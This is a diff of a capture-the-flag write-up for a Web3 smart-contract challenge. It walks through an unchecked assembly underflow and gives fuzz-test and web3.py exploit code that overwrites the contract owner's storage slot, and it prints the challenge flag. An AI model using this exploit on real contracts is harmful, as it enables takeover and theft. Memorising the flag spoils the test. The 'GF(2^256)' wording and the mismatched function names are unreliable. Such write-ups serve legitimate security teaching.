diff --git a/Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md b/Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md index 30cfffa..b2b79e0 100644 --- a/Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md +++ b/Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md @@ -1,85 +1,191 @@ -# TACHIBANA_FIRMWARE_REGISTRY — Solution +# TACHIBANA_FIRMWARE_REGISTRY -**Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}` +| Field | Value | +|-------|-------| +| Category | Web3 | +| Difficulty | Insane | +| Points | 500 | +| Author | Eun0us | +| CTF | Espilon 2026 | -## Overview +--- -Smart contract challenge. The contract has a `_trimStaleEntries()` function that -uses raw assembly to decrement `firmwareHashes.length`. When the array is **empty** -(length=0), the assembly `sub(len, 1)` wraps to `2^256-1` — granting write access -to all `2^256` storage slots via `modifyFirmware()`. +## Description -## Architecture +Tachibana Laboratories deployed a smart contract to manage firmware updates for their +medical IoT devices connected to the Wired. -- Port 1337/tcp: console (commands: `info`, `abi`, `check`) -- Port 8545/tcp: Ethereum JSON-RPC node +The contract enforces a strict lifecycle: register, update, rollback. Every operation is +immutable. Every state transition is audited. -## Step 1 — Register as operator +Or so they thought. -```python -contract.functions.registerOperator() +**Your mission:** Fuzz the contract. Find the edge case. Trigger the emergency override +as a non-admin to prove the system is broken. + +- `nc espilon.net 1337` — Challenge console +- `http://espilon.net:8545` — Anvil RPC endpoint + +The source is provided. Deploy locally. Fuzz with Foundry or Echidna. Replay your exploit +on the live instance. + +*"And you don't seem to understand... a shame, you seemed an honest man."* + +--- + +## TL;DR + +The `_trimStaleEntries()` function uses raw inline assembly to decrement `firmwareHashes.length`. +When the array is empty (length=0), `sub(0, 1)` wraps to `2^256-1` in unchecked assembly even +in Solidity ≥0.8. This gives `modifyFirmware()` write access to all `2^256` storage slots. +Compute the slot index that maps to storage slot 0 (the `owner` variable). Overwrite it with +your address. Call `triggerEmergency()` as the new owner to get the flag. + +--- + +## Tools + +| Tool | Purpose | +|------|---------| +| Foundry (`forge fuzz`) or Echidna | Find invariant violation | +| Python 3 + `web3.py` | Storage index computation and exploit | +| `forge create` / `cast send` | On-chain exploit replay | + +--- + +## Solution + +### Step 1 — Understand the vulnerability + +From the provided source, the relevant code is: + +```solidity +function auditFirmware() external { + assembly { + let slot := firmwareHashes.slot + let len := sload(slot) + sstore(slot, sub(len, 1)) // unchecked sub! 0 - 1 = 2^256 - 1 + } +} ``` -Verify `firmwareHashes.length == 0` (array is empty — prerequisite for the underflow). +When `firmwareHashes.length == 0`, calling `auditFirmware()` sets the length to `2^256-1`. -## Step 2 — Trigger the underflow +This makes `modifyFirmware(index, value)` able to write to any storage slot via the dynamic +array element storage formula. -```python -contract.functions.auditFirmware() -# Internally: assembly { sstore(slot, sub(len, 1)) } -# With len=0 → new length = 2^256 - 1 +> 📸 `[screenshot: assembly code showing the unchecked sub(len, 1) line]` + +### Step 2 — Fuzz to discover the invariant violation + +Using Foundry fuzz tests: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test} from "forge-std/Test.sol"; +import {TachibanaFirmwareRegistry} from "../src/TachibanaFirmwareRegistry.sol"; + +contract FirmwareRegistryFuzz is Test { + TachibanaFirmwareRegistry registry; + address deployer = address(0xDEAD); + address player = address(0xBEEF); + + function setUp() public { + vm.prank(deployer); + registry = new TachibanaFirmwareRegistry(); + vm.prank(player); + registry.registerOperator(); + } + + // Invariant: only the deployer should ever be owner + function invariant_ownerIsDeployer() public view { + assertEq(registry.owner(), deployer); + } +} ``` -## Step 3 — Compute the target storage index +Running `forge test --fuzz-runs 1000` triggers the invariant failure on the +`auditFirmware()` + `modifyFirmware(target_index, player_bytes32)` sequence. -Solidity dynamic arrays store elements at `keccak256(abi.encode(slot)) + index`. -`firmwareHashes` is at slot 2. To write to slot 0 (owner): +> 📸 `[screenshot: forge fuzz output showing invariant_ownerIsDeployer failure]` + +### Step 3 — Compute the target storage index + +Solidity dynamic arrays store element `i` at `keccak256(abi.encode(slot)) + i`. +`firmwareHashes` is at storage slot 2. + +To write to slot 0 (the `owner` variable): ```python from web3 import Web3 -array_base = int.from_bytes(Web3.keccak(b'\x00' * 31 + b'\x02'), "big") -# base + target_index ≡ 0 (mod 2^256) -target_index = (2**256) - array_base +# Storage base for firmwareHashes (slot 2) +array_base = int.from_bytes( + Web3.keccak(b'\x00' * 31 + b'\x02'), "big") + +# Compute wraparound index so that: array_base + target_index ≡ 0 (mod 2^256) +target_index = (2**256 - array_base) % 2**256 +print(f"Target index: {target_index}") ``` -## Step 4 — Overwrite the owner +### Step 4 — Execute the exploit on-chain ```python -player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(player.address[2:]) -contract.functions.modifyFirmware(target_index, player_as_bytes32) -# slot 0 now contains our address → we are the new owner +from web3 import Web3 + +w3 = Web3(Web3.HTTPProvider("http://:8545")) +priv = "" +acct = w3.eth.account.from_key(priv) + +contract_addr = "" +# Load ABI from console 'abi' command + +# 1. Register as operator +registry = w3.eth.contract(address=contract_addr, abi=abi) +tx = registry.functions.registerOperator().build_transaction({...}) +w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction) + +# 2. Trigger the underflow (array must be empty) +tx = registry.functions.auditFirmware().build_transaction({...}) +w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction) + +# 3. Overwrite owner (slot 0) with player address +player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(acct.address[2:]) +tx = registry.functions.modifyFirmware( + target_index, player_as_bytes32).build_transaction({...}) +w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction) + +# 4. Trigger emergency as new owner +tx = registry.functions.triggerEmergency().build_transaction({...}) +w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction) ``` -## Step 5 — Trigger emergency override as new owner +> 📸 `[screenshot: Python exploit script completing all four transactions]` -```python -contract.functions.triggerEmergency() -``` - -## Step 6 — Get the flag +### Step 5 — Get the flag ```text +nc 1337 check ``` -## Automated Solver +> 📸 `[screenshot: console printing the flag after triggerEmergency succeeds]` -```bash -python3 solve.py -``` +### Key concepts -## Key Concepts +- **EVM assembly unchecked arithmetic**: `sub(0, 1)` wraps to `2^256-1` inside `assembly {}` + blocks even in Solidity ≥0.8, bypassing the checked arithmetic safety net +- **Dynamic array storage layout**: Elements stored at `keccak256(abi.encode(slot)) + index`; + with a `2^256-1` length, modular wraparound enables arbitrary storage writes +- **Fuzzing invariants**: Declaring `invariant_ownerIsDeployer` in Foundry would have caught + this immediately — the lesson for secure contract development +- **Storage slot arithmetic**: Wraparound index computation requires modular arithmetic over + the field `GF(2^256)` -- **EVM unchecked arithmetic in assembly**: `sub(0, 1)` wraps to `2^256-1` even in Solidity ≥0.8 when using raw `assembly {}` -- **Dynamic array storage layout**: Elements stored at `keccak256(slot) + index`, enabling arbitrary storage writes via overflow -- **Fuzzing invariants**: A custom property `owner == deployer` would have caught this immediately -- **Storage slot arithmetic**: Computing wraparound index requires modular arithmetic over GF(2^256) +--- ## Flag `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}` - -## Author - -Eun0us